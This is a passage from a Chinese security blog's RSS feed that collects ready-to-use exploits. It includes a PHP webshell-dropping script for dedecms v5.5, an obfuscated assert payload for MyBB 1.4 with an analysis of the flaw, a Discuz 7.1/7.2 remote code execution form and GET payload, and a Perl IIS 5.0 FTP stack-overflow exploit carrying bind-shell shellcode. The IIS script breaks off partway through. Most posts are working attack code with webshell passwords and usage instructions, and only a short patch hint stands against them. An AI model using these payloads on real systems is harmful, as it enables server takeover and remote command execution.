$post_b = 'needCode=aa/../../../data/mysql_error_trace';
$shell = 'data/cache/t.php';
get_send($post_a);
post_send('plus/comments_frame.php',$post_b);
$content = post_send($shell,'t=echo tojen;');
if(substr($content,9,3)=='200'){
echo "\nShell Address is:".$host.$path.$shell;
}else{
echo "\nError.";
}
function get_send($url){
global $host, $path;
$message = "GET [...]]]></description>
			<content:encoded><![CDATA[<p>官方暂时没出补丁,不过我估计快了<br />
执行成功会在在data/cache下生成t.php一句话小马<br />
密码t,官方最新GBK和utf-8版本存在此漏洞,<br />
此exp得特点是生产t.php得时候不留日志</p>
<p><span id="more-1615"></span></p>
<blockquote><p>&lt;?php</p>
<p>print_r('</p>
<p>+----------------------------------------+</p>
<p>dedecms v5.5 final getwebshell exploit</p>
<p>+----------------------------------------+</p>
<p>');</p>
<p>if ($argc &lt; 3) {</p>
<p>print_r('</p>
<p>+----------------------------------------+</p>
<p>Usage: php '.$argv[0].' host path</p>
<p>host:      target server (ip/hostname)</p>
<p>path:      path to dedecms</p>
<p>Example:</p>
<p>php '.$argv[0].' localhost /dedecms/</p>
<p>+----------------------------------------+</p>
<p>');</p>
<p>exit;</p>
<p>}</p>
<p>error_reporting(7);</p>
<p>ini_set('max_execution_time', 0);</p>
<p>$host = $argv[1];</p>
<p>$path = $argv[2];</p>
<p>$post_a = 'plus/digg_ajax.php?id=1024e1024&amp;*/fputs(fopen(chr(46).chr(46).chr(47).chr(100).chr(97)</p>
<p>.chr(116).chr(97).chr(47).chr(99).chr(97).chr(99).chr(104)</p>
<p>.chr(101).chr(47).chr(116).chr(46).chr(112).chr(104)</p>
<p>.chr(112),chr(119).chr(43)),chr(60).chr(63).chr(112)</p>
<p>.chr(104).chr(112).chr(32).chr(101).chr(118).chr(97)</p>
<p>.chr(108).chr(40).chr(36).chr(95).chr(80).chr(79)</p>
<p>.chr(83).chr(84).chr(91).chr(39).chr(116).chr(39)</p>
<p>.chr(93).chr(41).chr(59).chr(63).chr(62));/*';</p>
<p>$post_b = 'needCode=aa/../../../data/mysql_error_trace';</p>
<p>$shell = 'data/cache/t.php';</p>
<p>get_send($post_a);</p>
<p>post_send('plus/comments_frame.php',$post_b);</p>
<p>$content = post_send($shell,'t=echo tojen;');</p>
<p>if(substr($content,9,3)=='200'){</p>
<p>echo "\nShell Address is:".$host.$path.$shell;</p>
<p>}else{</p>
<p>echo "\nError.";</p>
<p>}</p>
<p>function get_send($url){</p>
<p>global $host, $path;</p>
<p>$message = "GET ".$path."$url  HTTP/1.1\r\n";</p>
<p>$message .= "Accept: */*\r\n";</p>
<p>$message .= "Referer: http://$host$path\r\n";</p>
<p>$message .= "Accept-Language: zh-cn\r\n";</p>
<p>$message .= "Content-Type: application/x-www-form-urlencoded\r\n";</p>
<p>$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";</p>
<p>$message .= "Host: $host\r\n";</p>
<p>$message .= "Connection: Close\r\n\r\n";</p>
<p>$fp = fsockopen($host, 80);</p>
<p>if(!$fp){</p>
<p>echo "\nConnect to host Error";</p>
<p>}</p>
<p>fputs($fp, $message);</p>
<p>$back = '';</p>
<p>while (!feof($fp))</p>
<p>$back .= fread($fp, 1024);</p>
<p>fclose($fp);</p>
<p>return $back;</p>
<p>}</p>
<p>function post_send($url,$cmd){</p>
<p>global $host, $path;</p>
<p>$message = "POST ".$path."$url  HTTP/1.1\r\n";</p>
<p>$message .= "Accept: */*\r\n";</p>
<p>$message .= "Referer: http://$host$path\r\n";</p>
<p>$message .= "Accept-Language: zh-cn\r\n";</p>
<p>$message .= "Content-Type: application/x-www-form-urlencoded\r\n";</p>
<p>$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";</p>
<p>$message .= "Host: $host\r\n";</p>
<p>$message .= "Content-Length: ".strlen($cmd)."\r\n";</p>
<p>$message .= "Connection: Close\r\n\r\n";</p>
<p>$message .= $cmd;</p>
<p>$fp = fsockopen($host, 80);</p>
<p>if(!$fp){</p>
<p>echo "\nConnect to host Error";</p>
<p>}</p>
<p>fputs($fp, $message);</p>
<p>$back = '';</p>
<p>while (!feof($fp))</p>
<p>$back .= fread($fp, 1024);</p>
<p>fclose($fp);</p>
<p>return $back;</p>
<p>}</p>
<p>?&gt;</p></blockquote>
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1066.html" title="dedecms 5.3 – 5.5注入漏洞">dedecms 5.3 – 5.5注入漏洞</a></li>
<li><a href="http://www.4shell.org/archives/1777.html" title="你还敢执行txt文件吗？Windows 0day ">你还敢执行txt文件吗？Windows 0day </a></li>
<li><a href="http://www.4shell.org/archives/1761.html" title="橙色预警：PHP PATH_INFO 存在漏洞">橙色预警：PHP PATH_INFO 存在漏洞</a></li>
<li><a href="http://www.4shell.org/archives/1722.html" title="Shopex V4.8.4 V4.8.5 0Day 通杀">Shopex V4.8.4 V4.8.5 0Day 通杀</a></li>
<li><a href="http://www.4shell.org/archives/1641.html" title="PDF最新0day">PDF最新0day</a></li>
<li><a href="http://www.4shell.org/archives/1632.html" title="Firefox 3.6 0day被补了">Firefox 3.6 0day被补了</a></li>
<li><a href="http://www.4shell.org/archives/1548.html" title="瑞星本地提权通杀利用代码">瑞星本地提权通杀利用代码</a></li>
<li><a href="http://www.4shell.org/archives/1481.html" title="IE 极光0day攻击代码已经全面泄露 WebSense发出安全警告">IE 极光0day攻击代码已经全面泄露 WebSense发出安全警告</a></li>
<li><a href="http://www.4shell.org/archives/1117.html" title="Gnuboard 0day&#038;Exp">Gnuboard 0day&#038;Exp</a></li>
<li><a href="http://www.4shell.org/archives/1112.html" title="新云4.0最新0day">新云4.0最新0day</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1615.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MyBB 1.4 admin remote code execution vulnerability</title>
		<link>http://www.4shell.org/archives/1475.html</link>
		<comments>http://www.4shell.org/archives/1475.html#comments</comments>
		<pubDate>Mon, 18 Jan 2010 11:50:13 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[MyBB]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1475.html</guid>
		<description><![CDATA[by flyh4t
team: http://www.80vul.com
date: 2010-01-10
测试版本MyBB 1.44.11
[一]漏洞分析
在index.php文件336行左右代码如下：

//index.php,336行左右
$plugins->run_hooks("index_end");
//出现了eval函数，注意参数
eval("$index = "".$templates->get("index")."";");
output_page($index);

看以下eval()函数中的内容是否可以控制，继续找到templates类查看get函数的定义:


//inc/class_templates.php,65行左右
function get($title, $eslashes=1, $htmlcomments=1)
	{
		global $db, $theme, $mybb;
		//
		// DEVELOPMENT MODE
		//
		if($mybb->dev_mode == 1)
		{
			$template = $this->dev_get($title);
			if($template !== false)
			{
				$this->cache[$title] = $template;
			}
		}
		if(!isset($this->cache[$title]))
		{
			$query = $db->simple_select("templates", "template", "title='".$db->escape_string($title)."' AND sid IN ('-2','-1','".$theme['templateset']."')", array('order_by' => 'sid', 'order_dir' => 'DESC', 'limit' => 1));
        //从数据库里面的取出模版的代码
			$gettemplate = $db->fetch_array($query);
			if($mybb->debug_mode)
			{
				$this->uncached_templates[$title] = $title;
			}
			if(!$gettemplate)
			{
				$gettemplate['template'] = "";
			}
			$this->cache[$title] = [...]]]></description>
			<content:encoded><![CDATA[<p>by <a href="http://www.80vul.com/exp/mybb.txt" target="_blank">flyh4t</a><br />
team: http://www.80vul.com<br />
date: 2010-01-10</p>
<p>测试版本MyBB 1.44.11</p>
<p>[一]漏洞分析</p>
<p>在index.php文件336行左右代码如下：</p>
<blockquote><p>
//index.php,336行左右</p>
<p>$plugins->run_hooks("index_end");<br />
//出现了eval函数，注意参数<br />
eval("$index = "".$templates->get("index")."";");<br />
output_page($index);
</p></blockquote>
<p>看以下eval()函数中的内容是否可以控制，继续找到templates类查看get函数的定义:<br />
<span id="more-1475"></span></p>
<blockquote><p>
//inc/class_templates.php,65行左右</p>
<p>function get($title, $eslashes=1, $htmlcomments=1)<br />
	{<br />
		global $db, $theme, $mybb;</p>
<p>		//<br />
		// DEVELOPMENT MODE<br />
		//<br />
		if($mybb->dev_mode == 1)<br />
		{<br />
			$template = $this->dev_get($title);<br />
			if($template !== false)<br />
			{<br />
				$this->cache[$title] = $template;<br />
			}<br />
		}</p>
<p>		if(!isset($this->cache[$title]))<br />
		{<br />
			$query = $db->simple_select("templates", "template", "title='".$db->escape_string($title)."' AND sid IN ('-2','-1','".$theme['templateset']."')", array('order_by' => 'sid', 'order_dir' => 'DESC', 'limit' => 1));<br />
        //从数据库里面的取出模版的代码<br />
			$gettemplate = $db->fetch_array($query);<br />
			if($mybb->debug_mode)<br />
			{<br />
				$this->uncached_templates[$title] = $title;<br />
			}</p>
<p>			if(!$gettemplate)<br />
			{<br />
				$gettemplate['template'] = "";<br />
			}</p>
<p>			$this->cache[$title] = $gettemplate['template'];<br />
		}<br />
		$template = $this->cache[$title];</p>
<p>		if($htmlcomments)<br />
		{<br />
			if($mybb->settings['tplhtmlcomments'] == 1)<br />
			{<br />
				$template = "<!-- start: ".htmlspecialchars_uni($title)." -->n{$template}n<!-- end: ".htmlspecialchars_uni($title)." -->";<br />
			}<br />
			else<br />
			{<br />
				$template = "n{$template}n";<br />
			}<br />
		}</p>
<p>		if($eslashes)<br />
		{<br />
			$template = str_replace("'", "'", addslashes($template));<br />
		}<br />
		return $template;<br />
	}
</p></blockquote>
<p>从上面的代码可以看出，get()函数是从数据库里面取出模板的内容经过处理后返回给eval函数。继续来跟以下，<br />
看看数据库里面的数据是如何来的:</p>
<blockquote><p>
//admin/modules/style/templates.php,372行开始</p>
<p>	if($mybb->input['action'] == "edit_template")<br />
{<br />
	$plugins->run_hooks("admin_style_templates_edit_template");</p>
<p>	if(!$mybb->input['title'] || !$sid)<br />
	{<br />
		flash_message($lang->error_missing_input, 'error');<br />
		admin_redirect("index.php?module=style/templates");<br />
	}</p>
<p>	if($mybb->request_method == "post")<br />
	{<br />
		if(empty($mybb->input['title']))<br />
		{<br />
			$errors[] = $lang->error_missing_title;<br />
		}</p>
<p>		if(!$errors)<br />
		{<br />
			$query = $db->simple_select("templates", "*", "tid='{$mybb->input['tid']}'");<br />
			$template = $db->fetch_array($query);<br />
			//获取到我们输入的内容，包括模板的标题和内容<br />
			$template_array = array(<br />
				'title' => $db->escape_string($mybb->input['title']),<br />
				'sid' => $sid,<br />
				'template' => $db->escape_string(trim($mybb->input['template'])),<br />
				'version' => $mybb->version_code,<br />
				'status' => '',<br />
				'dateline' => TIME_NOW<br />
			);</p>
<p>			// Make sure we have the correct tid associated with this template. If the user double submits then the tid could originally be the master template tid, but because the form is sumbitted again, the tid doesn't get updated to the new modified template one. This then causes the master template to be overwritten<br />
			$query = $db->simple_select("templates", "tid", "title='".$db->escape_string($template['title'])."' AND (sid = '-2' OR sid = '{$template['sid']}')", array('order_by' => 'sid', 'order_dir' => 'desc', 'limit' => 1));<br />
			$template['tid'] = $db->fetch_field($query, "tid");</p>
<p>			if($sid > 0)<br />
			{<br />
				// Check to see if it's never been edited before (i.e. master) of if this a new template (i.e. we've renamed it)  or if it's a custom template<br />
				$query = $db->simple_select("templates", "sid", "title='".$db->escape_string($mybb->input['title'])."' AND (sid = '-2' OR sid = '{$sid}' OR sid='{$template['sid']}')", array('order_by' => 'sid', 'order_dir' => 'desc'));<br />
				$existing_sid = $db->fetch_field($query, "sid");<br />
				$existing_rows = $db->num_rows($query);<br />
				//更新模版数据库<br />
				if(($existing_sid == -2 &#038;& $existing_rows == 1) || $existing_rows == 0)<br />
				{<br />
					$tid = $db->insert_query("templates", $template_array);<br />
				}<br />
				else<br />
				{<br />
					$db->update_query("templates", $template_array, "tid='{$template['tid']}' AND sid != '-2'");<br />
				}<br />
			}
</p></blockquote>
<p>从以上的代码可以发现，这是一个典型的“二次”漏洞.我们在后台将php代码通过编辑模板注入到数据库，然后到访问前台文件取出代码进入eval函数成功执行代码，注入代码的时候要规避一些敏感符号。比较遗憾的是这个漏洞需要管理员权限才能利用，仅能作为后台getwebshell的方法。</p>
<p>[二]漏洞利用：</p>
<p>在后台 Home -> Template Sets -> Default Templates 选择Edit Template: index<br />
在{$headerinclude}下写入如下一段代码后保存:</p>
<blockquote><p>
{${assert(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).<br />
chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).<br />
chr(39).chr(99).chr(97).chr(99).chr(104).chr(101).chr(47).<br />
chr(102).chr(108).chr(121).chr(104).chr(52).chr(116).<br />
chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).<br />
chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).<br />
chr(60).chr(63).chr(112).chr(104).chr(112).<br />
chr(32).chr(64).chr(36).chr(95).chr(80).chr(79)<br />
.chr(83).chr(84).chr(91).chr(119).chr(93).chr(40)<br />
.chr(36).chr(95).chr(80).chr(79).chr(83).chr(84)<br />
.chr(91).chr(102).chr(93).chr(41).chr(63).<br />
chr(62).chr(39).chr(41).chr(59))}}
</p></blockquote>
<p>访问首页后将在cache目录下生成flyh4t.php，内容为<?php @$_POST[w]($_POST[f])?>，可以使用客户端连接。</p>
<h3>相关文章</h3>
<ul class="related_post">
<li>No Related Post</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1475.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>discuz!7.1、7.2远程代码执行漏洞exploit</title>
		<link>http://www.4shell.org/archives/1464.html</link>
		<comments>http://www.4shell.org/archives/1464.html#comments</comments>
		<pubDate>Thu, 07 Jan 2010 08:49:19 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Discuz]]></category>
		<category><![CDATA[Exploit]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1464.html</guid>
		<description><![CDATA[1.注册一个新用户
2.Exp代码如下：
&#60;form method="post" action="   http://www.xxx.com/bbs/misc.php" enctype="multipart/form-data"&#62;
帖子ID，指定一个存在的帖子即可：&#60;input type="text" name="tid" value="1" /&#62;
&#60;input type="hidden" name="action" value="imme_binding" /&#62;
&#60;input type="hidden" name="response[result]" value="1:2" /&#62;
&#60;input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).
chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).
chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).
chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).
chr(99).chr(104).chr(101).chr(47).chr(117).
chr(115).chr(101).chr(114).chr(103).chr(114).
chr(111).chr(117).chr(112).chr(95).chr(48).
chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).
chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).
chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).
chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).
chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).
chr(91).chr(99).chr(109).chr(100).chr(93).
chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" /&#62;
&#60;input type="submit" name="topicsubmit" value="提交" class="submit" /&#62;
&#60;/form&#62;
chr解码后是：
value="${${evalfputs(fopen('forumdata/cache/usergroup','w'),'&#60;?php eval($_POST[cmd])?&#62;');
保存html
打开点提交，会生产forumdata/cache/usergroup_01.php一句话文件，密码是cmd
第二种方法：
直接GET，利用语句：
misc.php?action=imme_binding&#38;response[result]=aa:b&#38;scriptlang[aa][b]={${fputs(fopen(base64_decode(Yy5waHA),w),
base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}
在根目录生成C.PHP密码是C
临时修补方法：
在common.inc.php上面加上
$response=$scriptlang=array();
官方发布修补补丁：
http://www.discuz.net/thread-1537673-1-1.html
相关文章

PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)
PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)
Remote Exploit Against the Aircrack-NG Tools svn r1675
Discuz! 7.2 最新注入漏洞分析与利用
Discuz7 记录明文
 Discuz!NT 3.0 特殊环境下利用漏洞 
Gnuboard [...]]]></description>
			<content:encoded><![CDATA[<p>1.注册一个新用户<br />
2.Exp代码如下：</p>
<blockquote><p>&lt;form method="post" action="   http://www.xxx.com/bbs/misc.php" enctype="multipart/form-data"&gt;</p>
<p>帖子ID，指定一个存在的帖子即可：&lt;input type="text" name="tid" value="1" /&gt;</p>
<p>&lt;input type="hidden" name="action" value="imme_binding" /&gt;</p>
<p>&lt;input type="hidden" name="response[result]" value="1:2" /&gt;</p>
<p>&lt;input type="hidden" name="scriptlang[1][2]" value="${${eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).</p>
<p>chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).</p>
<p>chr(102).chr(111).chr(114).chr(117).chr(109).chr(100).</p>
<p>chr(97).chr(116).chr(97).chr(47).chr(99).chr(97).</p>
<p>chr(99).chr(104).chr(101).chr(47).chr(117).</p>
<p>chr(115).chr(101).chr(114).chr(103).chr(114).</p>
<p>chr(111).chr(117).chr(112).chr(95).chr(48).</p>
<p>chr(49).chr(46).chr(112).chr(104).chr(112).chr(39).</p>
<p>chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).</p>
<p>chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).</p>
<p>chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).</p>
<p>chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).</p>
<p>chr(91).chr(99).chr(109).chr(100).chr(93).</p>
<p>chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))}}" /&gt;</p>
<p>&lt;input type="submit" name="topicsubmit" value="提交" class="submit" /&gt;</p>
<p>&lt;/form&gt;</p></blockquote>
<p>chr解码后是：</p>
<blockquote><p>value="${${evalfputs(fopen('forumdata/cache/usergroup','w'),'&lt;?php eval($_POST[cmd])?&gt;');</p></blockquote>
<p>保存html</p>
<p>打开点提交，会生产forumdata/cache/usergroup_01.php一句话文件，密码是cmd</p>
<p>第二种方法：</p>
<p>直接GET，利用语句：</p>
<blockquote><p>misc.php?action=imme_binding&amp;response[result]=aa:b&amp;scriptlang[aa][b]={${fputs(fopen(base64_decode(Yy5waHA),w),</p>
<p>base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}</p></blockquote>
<p>在根目录生成C.PHP密码是C</p>
<p>临时修补方法：</p>
<p>在common.inc.php上面加上</p>
<blockquote><p>$response=$scriptlang=array();</p></blockquote>
<p>官方发布修补补丁：</p>
<p>http://www.discuz.net/thread-1537673-1-1.html<br />
<h3>相关文章</h3>
<ul class="related_post">
<li><a href="http://www.4shell.org/archives/1754.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(2)</a></li>
<li><a href="http://www.4shell.org/archives/1753.html" title="PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)">PhpCms 2008 Sp3 Blind SQL Injection Exploit(1)</a></li>
<li><a href="http://www.4shell.org/archives/1692.html" title="Remote Exploit Against the Aircrack-NG Tools svn r1675">Remote Exploit Against the Aircrack-NG Tools svn r1675</a></li>
<li><a href="http://www.4shell.org/archives/1616.html" title="Discuz! 7.2 最新注入漏洞分析与利用">Discuz! 7.2 最新注入漏洞分析与利用</a></li>
<li><a href="http://www.4shell.org/archives/1465.html" title="Discuz7 记录明文">Discuz7 记录明文</a></li>
<li><a href="http://www.4shell.org/archives/1167.html" title=" Discuz!NT 3.0 特殊环境下利用漏洞 "> Discuz!NT 3.0 特殊环境下利用漏洞 </a></li>
<li><a href="http://www.4shell.org/archives/1117.html" title="Gnuboard 0day&#038;Exp">Gnuboard 0day&#038;Exp</a></li>
<li><a href="http://www.4shell.org/archives/1107.html" title="MvMmall_V5.5.1 Blind SQL Injection Exploit">MvMmall_V5.5.1 Blind SQL Injection Exploit</a></li>
<li><a href="http://www.4shell.org/archives/1103.html" title="Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit 中英文通用版">Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit 中英文通用版</a></li>
<li><a href="http://www.4shell.org/archives/1090.html" title="Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 Collab getIcon Universal Exploit">Adobe Acrobat/Reader < 7.1.1/8.1.3/9.1 Collab getIcon Universal Exploit</a></li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1464.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsoft IIS 5.0 FTP Server Remote Stack Overflow Exploit 中英文通用版</title>
		<link>http://www.4shell.org/archives/1103.html</link>
		<comments>http://www.4shell.org/archives/1103.html#comments</comments>
		<pubDate>Sun, 20 Sep 2009 13:29:38 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[矩阵毒刺]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[IIS]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1103.html</guid>
		<description><![CDATA[绑定4444端口，Windows 2000 CN + SP4 测试通过，需要能建目录的用户，偏移地址若不通用，请自行修改。


#!/usr/bin/perl
# IIS 5.0 FTP Server / Remote SYSTEM exploit
# Win2k SP4 targets
# bug found &#038; exploited by Kingcope, kcope2googlemail.com
# Affects IIS6 with stack cookie protection
# Modded by muts, additional egghunter added for secondary larger payload
# Might take a minute or two for the egg to be found.
# Opens bind shell [...]]]></description>
			<content:encoded><![CDATA[<p>绑定4444端口，Windows 2000 CN + SP4 测试通过，需要能建目录的用户，偏移地址若不通用，请自行修改。</p>
<p><span id="more-1103"></span></p>
<blockquote><p>
#!/usr/bin/perl<br />
# IIS 5.0 FTP Server / Remote SYSTEM exploit<br />
# Win2k SP4 targets<br />
# bug found &#038; exploited by Kingcope, kcope2<at>googlemail.com<br />
# Affects IIS6 with stack cookie protection<br />
# Modded by muts, additional egghunter added for secondary larger payload<br />
# Might take a minute or two for the egg to be found.<br />
# Opens bind shell on port 4444</p>
<p># http://www.offensive-security.com/0day/msftp.pl.txt</p>
<p>use IO::Socket;<br />
$|=1;<br />
$sc = "\x89\xe2\xdd\xc5\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49\x49\x43" .<br />
"\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34" .<br />
"\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41" .<br />
"\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58" .<br />
"\x50\x38\x41\x43\x4a\x4a\x49\x45\x36\x4d\x51\x48\x4a\x4b\x4f" .<br />
"\x44\x4f\x47\x32\x46\x32\x42\x4a\x43\x32\x46\x38\x48\x4d\x46" .<br />
"\x4e\x47\x4c\x45\x55\x51\x4a\x44\x34\x4a\x4f\x48\x38\x46\x34" .<br />
"\x50\x30\x46\x50\x50\x57\x4c\x4b\x4b\x4a\x4e\x4f\x44\x35\x4a" .<br />
"\x4a\x4e\x4f\x43\x45\x4b\x57\x4b\x4f\x4d\x37\x41\x41";<br />
# ./msfpayload windows/shell_bind_tcp R |  ./msfencode -e x86/shikata_ga_nai -b "\x00\x0a\x0d"</p>
<p>$shell="T00WT00W" ."\xda\xde\xbd\x2d\xe7\x9b\x9f\x2b\xc9\xb1\x56\xd9\x74\x24\xf4" .<br />
"\x5a\x83\xea\xfc\x31\x6a\x15\x03\x6a\x15\xcf\x12\x67\x77\x86" .<br />
"\xdd\x98\x88\xf8\x54\x7d\xb9\x2a\x02\xf5\xe8\xfa\x40\x5b\x01" .<br />
"\x71\x04\x48\x92\xf7\x81\x7f\x13\xbd\xf7\x4e\xa4\x70\x38\x1c" .<br />
"\x66\x13\xc4\x5f\xbb\xf3\xf5\xaf\xce\xf2\x32\xcd\x21\xa6\xeb" .<br />
"\x99\x90\x56\x9f\xdc\x28\x57\x4f\x6b\x10\x2f\xea\xac\xe5\x85" .<br />
"\xf5\xfc\x56\x92\xbe\xe4\xdd\xfc\x1e\x14\x31\x1f\x62\x5f\x3e" .<br />
"\xeb\x10\x5e\x96\x22\xd8\x50\xd6\xe8\xe7\x5c\xdb\xf1\x20\x5a" .<br />
"\x04\x84\x5a\x98\xb9\x9e\x98\xe2\x65\x2b\x3d\x44\xed\x8b\xe5" .<br />
"\x74\x22\x4d\x6d\x7a\x8f\x1a\x29\x9f\x0e\xcf\x41\x9b\x9b\xee" .<br />
"\x85\x2d\xdf\xd4\x01\x75\xbb\x75\x13\xd3\x6a\x8a\x43\xbb\xd3" .<br />
"\x2e\x0f\x2e\x07\x48\x52\x27\xe4\x66\x6d\xb7\x62\xf1\x1e\x85" .<br />
"\x2d\xa9\x88\xa5\xa6\x77\x4e\xc9\x9c\xcf\xc0\x34\x1f\x2f\xc8" .<br />
"\xf2\x4b\x7f\x62\xd2\xf3\x14\x72\xdb\x21\xba\x22\x73\x9a\x7a" .<br />
"\x93\x33\x4a\x12\xf9\xbb\xb5\x02\x02\x16\xc0\x05\xcc\x42\x80" .<br />
"\xe1\x2d\x75\x36\xad\xb8\x93\x52\x5d\xed\x0c\xcb\x9f\xca\x84" .<br />
"\x6c\xe0\x38\xb9\x25\x76\x74\xd7\xf2\x79\x85\xfd\x50\xd6\x2d" .<br />
"\x96\x22\x34\xea\x87\x34\x11\x5a\xc1\x0c\xf1\x10\xbf\xdf\x60" .<br />
"\x24\xea\x88\x01\xb7\x71\x49\x4c\xa4\x2d\x1e\x19\x1a\x24\xca" .<br />
"\xb7\x05\x9e\xe9\x4a\xd3\xd9\xaa\x90\x20\xe7\x33\x55\x1c\xc3" .<br />
"\x23\xa3\x9d\x4f\x10\x7b\xc8\x19\xce\x3d\xa2\xeb\xb8\x97\x19" .<br />
"\xa2\x2c\x6e\x52\x75\x2b\x6f\xbf\x03\xd3\xc1\x16\x52\xeb\xed" .<br />
"\xfe\x52\x94\x10\x9f\x9d\x4f\x91\xbf\x7f\x5a\xef\x57\x26\x0f" .<br />
"\x52\x3a\xd9\xe5\x90\x43\x5a\x0c\x68\xb0\x42\x65\x6d\xfc\xc4" .<br />
"\x95\x1f\x6d\xa1\x99\x8c\x8e\xe0\x90";</p>
<p>print "IIS 5.0 FTPd / Remote r00t exploit by kcope V1.2\n";<br />
if ($#ARGV ne 1) {<br />
print "usage: iiz5.pl <target> <your local ip>\n";<br />
exit(0);<br />
}<br />
srand(time());<br />
$port = int(rand(31337-1022)) + 1025;<br />
$locip = $ARGV[1];<br />
$locip =~ s/\./,/gi;<br />
if (fork()) {<br />
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],<br />
                              PeerPort => '21',<br />
                              Proto    => 'tcp'); </p>
<p># 自行修改以下两个地址以增强通用性, 此俩地址在我机器上测试成功<br />
$patch = "\x7e\xd1\xf9\x7f";<br />
$retaddr = "\x9B\xB1\xF4\x77";</p>
<p># 你可以使用wordexp的这两个跳转地址<br />
#$patch = "\x90\x80\xb7\x6f";<br />
#$retaddr = "\xcd\x60\xb6\x6f";</p>
<p># 这里也修改了, 多加了两个"K", 因为$myfindsc中<br />
# 用了"repne scasd[edi]"指令来查找Shellcode, 多<br />
# 加两个"K"使其四字节对齐, 否则会找不到（通用性？）<br />
$v = "KKKSEXY" . $sc . "V" x (500-length($sc)-5); </p>
<p># 溢出时堆栈的基本状况<br />
#     |0          |104     | 108   |112       |164     |168    |172     |176<br />
#$c = "A" x 104 . $patch . $patch. "A" x 52 . $patch . "AAAA". $retaddr .$patch."Aa4Aa5Aa6Aa7Aa8Aa9Ab";</p>
<p>#<br />
#void myfindsc()<br />
#{<br />
#    __asm<br />
#    {<br />
#        int 3;<br />
#start:<br />
#        MOV EDX,ESP;<br />
#        FCMOVNBE ST,ST(2);<br />
#        _emit 0xd9;<br />
#        _emit 0x72;<br />
#        _emit 0xf4; FSTENV [edx-0Ch]<br />
#        POP EBP;<br />
#        PUSH EBP;<br />
#        POP EBX;<br />
#        PUSH 76h;<br />
#        POP EAX;<br />
#xorsc:<br />
#        XOR BYTE PTR DS:[EBX+28h],AL; patch "decode" 的0xff<br />
#findsc:<br />
#        MOV EAX,66666666h;<br />
#        SUB EAX,66566666h;<br />
#        PUSH EAX;<br />
#        POP EDI;<br />
#        PUSH 21212121h;<br />
#        POP ECX;<br />
#        MOV EAX,59584553h;<br />
#        REPNE SCAS DWORD PTR ES:[EDI];<br />
#decode:<br />
#        _emit 0x89;<br />
#        _emit 0xE7; JMP EDI<br />
#    }<br />
#}<br />
#<br />
#<br />
#void main()<br />
#{<br />
#    myfindsc();<br />
#}<br />
#</p>
<p># 修改用于定位Shellcode的代码, 由于该代码需要调<br />
# 用call或者jmp等指令以跳转到Shellcode的地方, 此<br />
# 类指令包含了0xff, 会被IIS过滤, 所以这里采用了自<br />
# 修改的形式将0xff patch掉. 本来想要alpha2加密,<br />
# 但是加密后内容太长.<br />
$myfindsc =<br />
"\x8b\xd4\xdb\xd2\xd9\x72\xf4\x5d\x55\x5b\x6a\x76\x58".<br />
"\x30\x43\x27\xb8\x66\x66\x66\x66\x2d\x66\x66\x5F\x66".<br />
"\x50\x5f\x68\x21\x21\x21\x21\x59\xb8\x53\x45\x58\x59".<br />
"\xf2\xaf\x89\xe7";</p>
<p>$c = $myfindsc . "A" x (104 - length($myfindsc)) .<br />
